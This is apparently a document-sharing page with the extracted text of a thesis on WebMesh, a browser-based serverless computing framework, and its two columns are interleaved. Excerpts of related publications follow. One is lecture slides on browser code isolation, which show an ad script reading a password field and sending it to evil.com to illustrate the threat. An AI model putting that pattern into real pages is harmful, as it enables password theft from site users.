Webmesh: a Browser-Based Computational Framework for Serverless Applications

Total Page:16

File Type:pdf, Size:1020Kb

Webmesh: a Browser-Based Computational Framework for Serverless Applications WebMesh: A Browser-Based Computational Framework for Serverless Applications Joseph Romano ([email protected]) Advisor: Rodrigo Fonseca ([email protected]) May 1, 2019 Abstract based computational framework for serverless applications. WebMesh is able to use idle computing WebMesh is a browser-based computational frame- time by executing distributed applications on any work for serverless applications. Unlike existing environment that can run an up-to-standards web serverless frameworks which run in managed data- browser such as Google Chrome. We initially centers, WebMesh nodes run in browser tabs, using implemented WebMesh with MapReduce and tested WebAssembly to allow C++ code to run portably using the canonical word count use case for in web browsers and WebRTC to allow nodes di- MapReduce. This paper evaluates the scalability, rect peer-to-peer communication. We evaluate the adaptability, resilience despite unreliable workers, scalability and feasibility of such a system by im- and versatility of such a system. plementing the MapReduce distributed computing WebMesh advances existing research into browser- model on the framework. We find that, in tests of based, volunteer, and serverless computing by using a word count job running on MapReduce, WebMesh WebAssembly to allow C++ code to run in a is able to handle 200,000+ concurrent jobs, execute portable environment, and by using WebRTC for jobs 3.6 times faster than running locally, and support peer-to-peer transmission of data, a first step towards a variety of tasks. We suggest it is possible to cre- decentralization. ate value from otherwise unused computing power, The remainder of this paper is organized as allowing more cost-efficient distributed computing follows. Section 2 provides pertinent background than existing serverless providers. information on serverless computing, WebAssembly, and WebRTC. Section 3 details the design decisions, execution model, and programming model. Section 1 Introduction 4 evaluates the system empirically and subjectively, provides a brief financial analysis, describes With the increasing ubiquity of personal computing shortcomings, and lays out ideas for future work. devices which continue to grow in power, a large Related work is reviewed in Section 5. We conclude amount of processing power remains primarily idle, in Section 6. within smartphones in people’s pockets or within computers on their desks. While there are many frameworks for distributed computing, commercial 2 Background and non-commercial, none have lowered the barriers to entry to a simple task like opening a web page. 2.1 Serverless computing With over two billion installations of Google Chrome worldwide, there is a massive opportunity to create Cloud computing has grown in popularity over value from preexisting and unused computing power, the past few decades and providers have slowly filling gaps in time between peak usage [23]. shifted to manage additional services on behalf of To fill this gap, we present WebMesh, a browser- customers. Virtual machines and containers were the 1 first wave, abstracting the need to manage machines, exported functions that the JavaScript code is able to operating systems, and execution environments to call. The instantiated WebAssembly binary manages some extent. Recently, serverless computing has its own memory but is sandboxed in the same way become increasingly popular as a way of abstracting that browsers currently sandbox JavaScript code. nearly every aspect of cloud computing, besides the This sandboxing provides the same security actual code that is to run. Serverless computing guarantees that existing JavaScript sandboxes providers manage the environment, provisioning, and provide, ensuring that malicious WebAssembly more, promising customers that the code they submit modules could only get so far as a malicious will scale based on demand. This is advertised as not JavaScript file could. While it is out of the scope only easier for customers, but more cost efficient due of this project to explore the security ramifications to fine-grained billing. of WebAssembly, there is a baseline assurance that One of the first mainstream providers of serverless WebAssembly provides similar security promises as computing, Amazon Web Services, markets their JavaScript. product as AWS Lambda, advertising “continuous WebAssembly also provides performance that can scaling” and offers an event-driven service [1]. be close to native, with an average of an 89% Lambda will run based on particular triggers, such slowdown and peaking at a 3.14x slowdown in as a request to an HTTP endpoint or other triggers Google Chrome on the SPEC CPU benchmarks [21]. from applications within AWS. Each Lambda worker Given that there could be dozens or hundreds of is limited to only 15 minutes of execution, up to workers dividing time on a job, even the maximum 3,008 MB of memory, and has no default support slowdown of 3.14x would provide fast performance for inter-process communication (i.e. from Lambda in a highly distributed setting in a system with low to Lambda). Lambda supports a variety of languages overhead. This performance will continue to increase such as Python, Java, Go, C#, and Ruby. In total, as WebAssembly develops and matures. AWS Lambda provides an event-based serverless While still novel, WebAssembly is able to integrate offering to fill a specific niche, and not necessarily for with existing compilers and toolchains to allow general computing. A framework developed to run existing optimizations and libraries to be used on on AWS Lambda offering more general distributed the web. Support exists for the newest versions computing power, Pywren, is discussed in Section 5. of C++ using Emscripten, a toolchain branched off Google also offers a serverless computing of LLVM [8]. Emscripten supports WebAssembly architecture, not only providing event-based “Cloud binaries by providing them the needed “glue code” Functions” similar to AWS Lambda, but also is with native JavaScript implementations of syscall, file alpha-testing running containers and Kubernetes on system, I/O, and library functions. This is particularly their serverless framework to provide the scaling important as WebAssembly runs entirely sandboxed, and pricing benefits of serverless in more traditional and must provide all of its own library code – even settings [13]. This opens up more opportunity for syscalls must be re-implemented in JavaScript to general computing than AWS’s offering. be imported into the WebAssembly module. Also, Emscripten manages the memory allocation given 2.2 WebAssembly to the WebAssembly modules, growing the memory allocated in JavaScript whenever syscalls are made WebAssembly is an instruction set designed for which increase memory pressure. languages such as C++ to run portably in web Emscripten also provides a tool, Embind, for browsers or other environments [20]. Already easily accessing C++ functions and objects from implemented in major web browsers, these browsers’ JavaScript. This makes interoperability easier virtual machines are able to execute WebAssembly when providing input data to C++ functions from just like JavaScript is currently executed. The virtual JavaScript. Furthermore, Embind provides access to machine takes in a WebAssembly binary format file, class constructors and creates analogous JavaScript provides it any requested imports from JavaScript objects matching C++ objects (see Figure 1). This functions, and the binary file specifies a set of lets C++ functions take in and return C++ objects, so 2 emscripten::value_array<pair<string, int server offering STUN and TURN services to ensure >>("PairStrInt") complete reachability. This creates significant cost .element(&pair<string, int >::first) overhead for a service using WebRTC, as TURN .element(&pair<string, int >::second); servers could potentially be forced to relay all peer traffic in the case of highly restrictive NATs or Figure 1: Using Embind to match a C++ std::pair firewalls. type to a JavaScript array 3 Design long as proper bindings are made to JavaScript types using Embind. The system is broken up into four major parts: the Another web technology important for We- coordinator server, submitters, intermediary nodes, bAssembly is Web Workers [14]. Web Workers al- and workers. Submitters input C++ code and select low background tasks to run independent of the main input files, the coordinator manages tasks and relays event loop, ostensibly creating “multithreading” in some data and information between submitters and JavaScript. Without Web Workers, long-running We- workers, intermediary nodes optionally relay results bAssembly tasks would potentially block the main between dependent workers, and workers receive thread, thus freezing the entire webpage. By using jobs from the coordinator and compute results. A a Web Worker, the WebAssembly code can be exe- separate WebRTC STUN and TURN server is used cuted in the background, leaving the main page free to assist in WebRTC establishment and reachability. to request data, take input from the user, and more. An overview of the architecture and job lifecycle can be seen in Figure 2. 2.3 WebRTC WebRTC is a browser technology allowing for direct 3.1 Coordinator inter-browser networking and communication. While WebMesh relies on a central coordinator for traditionally, web messages would require a server compiling code to WebAssembly, job scheduling, to process relay information as separate requests negotiating WebRTC connections via the signalling between
Recommended publications
  • Browser Code Isolation
    CS 155 Spring 2014 Browser code isolation John Mitchell Modern web sites are complex Modern web “site” Code from many sources Combined in many ways Sites handle sensitive information ! Financial data n" Online banking, tax filing, shopping, budgeting, … ! Health data n" Genomics, prescriptions, … ! Personal data n" Email, messaging, affiliations, … Others want this information ! Financial data n" Black-hat hackers, … ! Health data n" Insurance companies, … ! Personal data n" Ad companies, big government, … Modern web “site” Code from many sources Combined in many ways Basic questions ! How do we isolate code from different sources n" Protecting sensitive information in browser n" Ensuring some form of integrity n" Allowing modern functionality, flexible interaction Example:Library ! Library included using tag n" <script src="jquery.js"></script> ! No isolation n" Same frame, same origin as rest of page ! May contain arbitrary code n" Library developer error or malicious trojan horse n" Can redefine core features of JavaScript n" May violate developer invariants, assumptions jQuery used by 78% of the Quantcast top 10,000 sites, over 59% of the top million Second example: advertisement <script src=“https://adpublisher.com/ad1.js”></script> <script src=“https://adpublisher.com/ad2.js”></script>! ! Read password using the DOM API var c = document.getElementsByName(“password”)[0] Directly embedded third-party JavaScript poses a threat to critical hosting page resources Send it to evil location (not subject to SOP) <img src=``http::www.evil.com/info.jpg?_info_”>
    [Show full text]
  • Seamless Offloading of Web App Computations from Mobile Device to Edge Clouds Via HTML5 Web Worker Migration
    Seamless Offloading of Web App Computations From Mobile Device to Edge Clouds via HTML5 Web Worker Migration Hyuk Jin Jeong Seoul National University SoCC 2019 Virtual Machine & Optimization Laboratory Department of Electrical and Computer Engineering Seoul National University Computation Offloading Mobile clients have limited hardware resources Require computation offloading to servers E.g., cloud gaming or cloud ML services for mobile Traditional cloud servers are located far from clients Suffer from high latency 60~70 ms (RTT from our lab to the closest Google Cloud DC) Latency<50 ms is preferred for time-critical games Cloud data center End device [Kjetil Raaen, NIK 2014] 2 Virtual Machine & Optimization Laboratory Edge Cloud Edge servers are located at the edge of the network Provide ultra low (~a few ms) latency Central Clouds Mobile WiFi APs Small cells Edge Device Cloud Clouds What if a user moves? 3 Virtual Machine & Optimization Laboratory A Major Issue: User Mobility How to seamlessly provide a service when a user moves to a different server? Resume the service at the new server What if execution state (e.g., game data) remains on the previous server? This is a challenging problem Edge computing community has struggled to solve it • VM Handoff [Ha et al. SEC’ 17], Container Migration [Lele Ma et al. SEC’ 17], Serverless Edge Computing [Claudio Cicconetti et al. PerCom’ 19] We propose a new approach for web apps based on app migration techniques 4 Virtual Machine & Optimization Laboratory Outline Motivation Proposed system WebAssembly
    [Show full text]
  • Vidyo® Server for Webrtc Click to Collaborate
    Datasheet Vidyo® Server for WebRTC Click to Collaborate The Vidyo Server for WebRTC extends the Vidyo platform to include WebRTC capable browsers. Now join Vidyo conferences right from their web browser without any software installation. With a simple click-to-connect link, participants can enjoy up to HD video quality. The Vidyo Server for WebRTC is fully integrated with the Vidyo platform. This means participants joining through WebRTC can enjoy the interoperability delivered by the Vidyo platform including native Vidyo endpoints as well as third party H.323, SIP, and Microsoft® Skype for Business®. Deployed as a virtual machine, the Vidyo Server for WebRTC can be easily managed and scaled to meet demand. Concurrency is determined by flexible VidyoLine licenses that can float between native Vidyo endpoints and WebRTC clients as needed. Calls are secured through encryption using HTTPS, DTLS, and SRTP. Key Features Incredible User Experience Easy to Deploy & Manage • Native WebRTC support for plug-in free • Virtual server for easy deployment in your videoconferencing data center, colocation facility or in the cloud • Support for non-WebRTC browsers via • Dynamically scalable capacity based on VidyoWeb plug-in provisioned resources • Full two-way video communications on • Spin up new instances of Vidyo Server for ChromeBooks WebRTC to rapidly cluster and add capacity • Multipoint video layouts with up to 6 viewable • Simplify administration, configuration and participants maintenance with web-based interface • Click to connect ease of use • Secured media and signaling encryption • HD quality video and content • Automatic firewall and NAT traversal with ICE, • Share content with other participants* (Only TURN, and STUN support available on Chrome.
    [Show full text]
  • Kandy Link — Webrtc Gateway Using the Web to Extend the Value of Service Provider Networks
    Kandy Link — WebRTC Gateway Using the Web to Extend the Value of Service Provider Networks The Impact of WebRTC The adoption of the WebRTC standard by all of the major web browser providers creates an enormous opportunity to change the way people communicate. WebRTC makes it possible to engage in a two-way multi-media conversation (voice, video, screen share) without any extra software or purpose-built devices. Any modern device with a mic and speakers is now a full communications endpoint supporting voice, video and col- laboration tools. The simplicity of WebRTC-based communication access is in sharp contrast to traditional communication tools that require users to load a special app or a plugin for each website or ser- vice they use. This issue has gone from annoying to business impacting as many organizations have heightened security policies that preclude users from adding new applications. And since WebRTC leverages HTML5 and HTTPS, its firewall Multiple Deployment Options Kandy Link is deployed in a subscription based, fully managed friendly, meaning it works almost everywhere. model. Users can choose the operational deployment model Bridging the Digital Divide that best fits their use case: Ribbon’s Kandy Link Gateway offers service providers a simple Public Cloud – as a Service and scalable way to connect different generations of communi- No hardware or capital investment – WebRTC services are cation elements and customer experiences. delivered from the public Kandy cloud with access to Kandy’s entire apps portfolio. • Kandy Link can deliver line or station-side SIP services to existing communication elements (as a service, in network Private Cloud or on-premises) while delivering WebRTC-based services to In network or in a 3rd party data center.
    [Show full text]
  • MS 20480C: Programming in HTML5 with Javascript and CSS3
    MS 20480C: Programming in HTML5 With JavaScript and CSS3 Days: 5 Prerequisites: This course is intended for students who have the following experience: 1 – 3 months experience creating Web applications, including writing simple JavaScript code 1 month experience creating Windows client applications 1 month of experience using Visual Studio 2017. Audience: This course is intended for professional developers who have 6-12 months of programming experience and who are interested in developing applications using HTML5 with JavaScript and CSS3 (either Windows Store apps for Windows 10 or web applications). Course Objectives: After taking this course students will be able to: Explain how to use Visual Studio 2012 to create and run a Web application. Describe the new features of HTML5, and create and style HTML5 pages. Add interactivity to an HTML5 page by using JavaScript. Create HTML5 forms by using different input types, and validate user input by using HTML5 attributes and JavaScript code. Send and receive data to and from a remote data source by using XMLHTTP Request objects and Fetch API Style HTML5 pages by using CSS3. Create a well-structured and easily-maintainable JavaScript code. Write modern JavaScript code and use babel to make it compatible to all browsers Create web applications that support offline operations Create HTML5 Web pages that can adapt to different devices and form factors. Add advanced graphics to an HTML5 page by using Canvas elements, and by using and Scalable Vector Graphics. Enhance the user experience by adding animations to an HTML5 page. Use Web Sockets to send and receive data between a Web application and a server.
    [Show full text]
  • Audiocodes Webrtc Solution DATA SHEET
    AudioCodes WebRTC Solution DATA SHEET Simplified Web Calling for Contact Centers and Service Providers The AudioCodes WebRTC solution is a quick and straightforward way for contact centers and service providers to supply intuitive and high-quality web calling functionality to their service centers. From implementing a simple click-to-call button on a consumer website or mobile app, right up to a fully featured agent client for voice and video calls, the AudioCodes WebRTC solution provides all the building blocks that you need to get web calling services up and running quickly and easily. Simple and scalable Powerful and robust Easy to install A single WebRTC device, either The WebRTC solution is fully integrated The Client SDK facilitates the quick virtual or hardware-based, in AudioCodes Mediant session border integration of the WebRTC solution seamlessly scalable from just a few controllers and inherits the SBCs’ into client websites or Android and sessions to several thousand strong security, high availability and iOS mobile apps transcoding capabilities Signaling AUDIOCODES Browser / Mobile WebRTC SDK WebRTC user Media Internet AudioCodes SBC Integrated WebRTC Gateway Carrier/Contact Center VoIP Network AudioCodes WebRTC Solution DATA SHEET Specifications WebRTC Gateway About AudioCodes AudioCodes Ltd. (NasdaqGS: AUDC) is a Deployment leading vendor of advanced voice networking VMWare KVM AWS Mediant 9000 Mediant 4000 method and media processing solutions for the digital workplace. With a commitment to the human 3,000 voice deeply embedded in its DNA, AudioCodes 5,000 WebRTC sessions 2,700 3,500 (20,000 on 1,000 enables enterprises and service providers (20K on roadmap) roadmap) to build and operate all-IP voice networks for unified communications, contact centers 3,000 1,050 integrated and hosted business services.
    [Show full text]
  • Get Started with HTML5 ● Your Best Bet to Experiment with HTML5 – Safari – Chrome As of – Beta: Firefox 4 and IE 9
    BibhasBibhas BhattacharyaBhattacharya CTO,CTO, WebWeb AgeAge SolutionsSolutions [email protected]@webagesolutions.com www.webagesolutions.com/trainingwww.webagesolutions.com/training Get Started With HTML5 ● Your best bet to experiment with HTML5 – Safari – Chrome As of – Beta: FireFox 4 and IE 9. October 2010 ● Test your browser: – html5test.com – html5demos.com – www.findmebyip.com/litmus ● JavaScript library to test for HTML5 features – www.modernizr.com Browser Support ● Dreamweaver CS5 11.0.3 update will install HTML5 compatibility pack. ● CS4 and CS3 users should download the pack from Dreamweaver Exchange. ● See a demo: – www.youtube.com/watch?v=soNIxy2sj0A DreamWeaver Story - The canvas element - Custom audio & video player - New semantic elements - Geolocation (header, section, footer etc.) - Local data storage - New form input elements - Web SQL & IndexedDB (e-mail, date, time etc.) - Offline apps - Audio and video - Messaging - CSS3 - Web worker - Push using WebSocket For web page designers For developers What's New in HTML5? SimplifiedSimplified <!DOCTYPE html> DOCTYPEDOCTYPE <html> <head> <title>Page Title</title> Simplified <meta charset="UTF-8"> Simplified charsetcharset settingsetting </head> <body> <p>Hello World</p> </body> </html> Basic HTML 5 Document ● Elements that have no special visual styling but are used to provide structure and meaning to the content. ● HTML4 semantic elements – div (block) – span (in line) ● HTML5 semantic elements – header, footer, section, article, aside, time and others..
    [Show full text]
  • Nanostream Webrtc.Live
    nanoStream WebRTC.live Product Overview – Document V 1.4, 2017-01 © 2017 nanocosmos gmbh Setup secure online meetings at a distance or stream live events to thousands of worldwide viewers: nanoStream WebRTC.live makes it very easy to create custom ​ live video communication and interactive live streaming applications with low latency. In combination with the nanoStream H5Live Player, nanoStream ​ ​ WebRTC.live offers a seamless user experience for plugin-free live video broadcast on any device. What is nanoStream WebRTC.live? nanoStream WebRTC.live is a product platform developed by nanocosmos based on WebRTC and other streaming technologies like RTMP and H5Live. It is used in a variety of low-latency interactive live streaming use cases. WebRTC.live video chat combined with RTMP broadcasting ​ ​ ​ allows a unified communications strategy for companies - from 1-on-1 discussions with employees at a distance to sharing live events with 10.000 viewers. In addition to secure peer-to-peer communication, the WebRTC.live encoding platform can be used to broadcast live streams to large audiences. The live video broadcast can be integrated into ​ ​ any live streaming infrastructure with the unique WebRTC-RTMP server bridge, or in an end-to-end development with the nanoStream Cloud. What is WebRTC? WebRTC is a technology standard for audio/video-based real time communication. WebRTC video chats and broadcasts function directly within the web browser, with no additional plugin or app download required. The standard is supported by most browser vendors (Google Chrome, Firefox) and currently available plugin-free on all platforms (Windows, MacOS, Android), except Apple iOS.
    [Show full text]
  • Features Guide [email protected] Table of Contents
    Features Guide [email protected] Table of Contents About Us .................................................................................. 3 Make Firefox Yours ............................................................... 4 Privacy and Security ...........................................................10 The Web is the Platform ...................................................11 Developer Tools ..................................................................13 2 About Us About Mozilla Mozilla is a global community with a mission to put the power of the Web in people’s hands. As a nonprofit organization, Mozilla has been a pioneer and advocate for the Web for more than 15 years and is focused on creating open standards that enable innovation and advance the Web as a platform for all. We are committed to delivering choice and control in products that people love and can take across multiple platforms and devices. For more information, visit www.mozilla.org. About Firefox Firefox is the trusted Web browser of choice for half a billion people around the world. At Mozilla, we design Firefox for how you use the Web. We make Firefox completely customizable so you can be in control of creating your best Web experience. Firefox has a streamlined and extremely intuitive design to let you focus on any content, app or website - a perfect balance of simplicity and power. Firefox makes it easy to use the Web the way you want and offers leading privacy and security features to help keep you safe and protect your privacy online. Mozilla continues to move the Web forward by pioneering new open source technologies such as asm.js, Emscripten and WebAPIs. Firefox also has a range of amazing built-in developer tools to provide a friction-free environment for building Web apps and Web content.
    [Show full text]
  • A Flexible and Scalable Media Centric Webrtc
    An Oracle White Paper May 2014 Towards a Flexible and Scalable Media Centric WebRTC Towards a Flexible and Scalable Media Centric WebRTC Introduction Web Real Time Communications (WebRTC) transforms any device with a browser into a voice, video, and screen sharing endpoint, without the need of downloading, installing, and configuring special applications or browser plug-ins. With the almost ubiquitous presence of browsers, WebRTC promises to broaden the range of communicating devices to include game consoles and set-top boxes in addition to laptops, smartphones, tablets, etc. WebRTC has been described as a transformative technology bridging the worlds of telephony and web. But what does this bridging really imply and have the offerings from vendors fully realized the possibilities that WebRTC promises? In this paper we discuss the importance of WebRTC Service Enablers that help unlock the full potential of WebRTC and the architectures that these elements make possible in this new era of democratization. New Elements in the WebRTC Network Architecture While web-only communications mechanisms would require nothing more than web browsers and web servers, the usefulness of such web-only networks would be limited. Not only is there a need to interwork with existing SIP1 and IMS2 based networks, there is also a need to provide value added services. There are several products in the marketplace that attempt to offer this functionality. But most of the offerings are little more than basic gateways. Such basic gateways perform simple protocol conversions where messages are translated from one domain to another. Such a simplistic gateway would convert call signaling from JSON3, XMPP4, or SIP over WebSockets, to SIP, and might also provide interoperability between media formats.
    [Show full text]
  • HTML5 Web Workers
    HHTTMMLL55 -- WWEEBB WWOORRKKEERRSS http://www.tutorialspoint.com/html5/html5_web_workers.htm Copyright © tutorialspoint.com JavaScript was designed to run in a single-threaded environment, meaning multiple scripts cannot run at the same time. Consider a situation where you need to handle UI events, query and process large amounts of API data, and manipulate the DOM. Javascript will hang your browser in situation where CPU utilization is high. Let us take a simple example where Javascript goes through a big loop − <!DOCTYPE HTML> <html> <head> <title>Big for loop</title> <script> function bigLoop(){ for (var i = 0; i <= 10000; i += 1){ var j = i; } alert("Completed " + j + "iterations" ); } function sayHello(){ alert("Hello sir...." ); } </script> </head> <body> <input type="button" onclick="bigLoop();" value="Big Loop" /> <input type="button" onclick="sayHello();" value="Say Hello" /> </body> </html> It will produce the following result − When you click Big Loop button it displays following result in Firefox − What is Web Workers? The situation explained above can be handled using Web Workers who will do all the computationally expensive tasks without interrupting the user interface and typically run on separate threads. Web Workers allow for long-running scripts that are not interrupted by scripts that respond to clicks or other user interactions, and allows long tasks to be executed without yielding to keep the page responsive. Web Workers are background scripts and they are relatively heavy-weight, and are not intended to be used in large numbers. For example, it would be inappropriate to launch one worker for each pixel of a four megapixel image. When a script is executing inside a Web Worker it cannot access the web page's window object window.
    [Show full text]
  • Web Technologies VU (706.704)
    Web Technologies VU (706.704) Vedran Sabol ISDS, TU Graz Nov 09, 2020 Vedran Sabol (ISDS, TU Graz) Web Technologies Nov 09, 2020 1 / 68 Outline 1 Introduction 2 Drawing in the Browser (SVG, 3D) 3 Audio and Video 4 Javascript APIs 5 JavaScript Changes Vedran Sabol (ISDS, TU Graz) Web Technologies Nov 09, 2020 2 / 68 HTML5 - Part II Web Technologies (706.704) Vedran Sabol ISDS, TU Graz Nov 09, 2020 Vedran Sabol (ISDS, TU Graz) HTML5 - Part II Nov 09, 2020 3 / 68 Drawing in the Browser (SVG, 3D) SVG Scalable Vector Graphics (SVG) Web standard for vector graphics (as opposed to canvas - raster-based) Declarative style (as opposed to canvas rendering - procedural) Developed by W3C (http://www.w3.org/Graphics/SVG/) XML application (SVG DTD) http://www.w3.org/TR/SVG11/svgdtd.html SVG is supported by all current browsers Editors Inkscape and svg-edit (Web App) Vedran Sabol (ISDS, TU Graz) HTML5 - Part II Nov 09, 2020 4 / 68 Drawing in the Browser (SVG, 3D) SVG Features Basic shapes: rectangles, circles, ellipses, path, etc. Painting: filling, stroking, etc. Text Example - simple shapes Grouping of basic shapes Transformation: translation, rotation, scale, skew Example - grouping and transforms Vedran Sabol (ISDS, TU Graz) HTML5 - Part II Nov 09, 2020 5 / 68 Drawing in the Browser (SVG, 3D) SVG Features Colors: true color, transparency, gradients, etc. Clipping, masking Filter effects Interactivity: user events Scripting, i.e. JavaScript, supports DOM Animation: attributes, transforms, colors, motion (along paths) Raster images may be embedded (JPEG,
    [Show full text]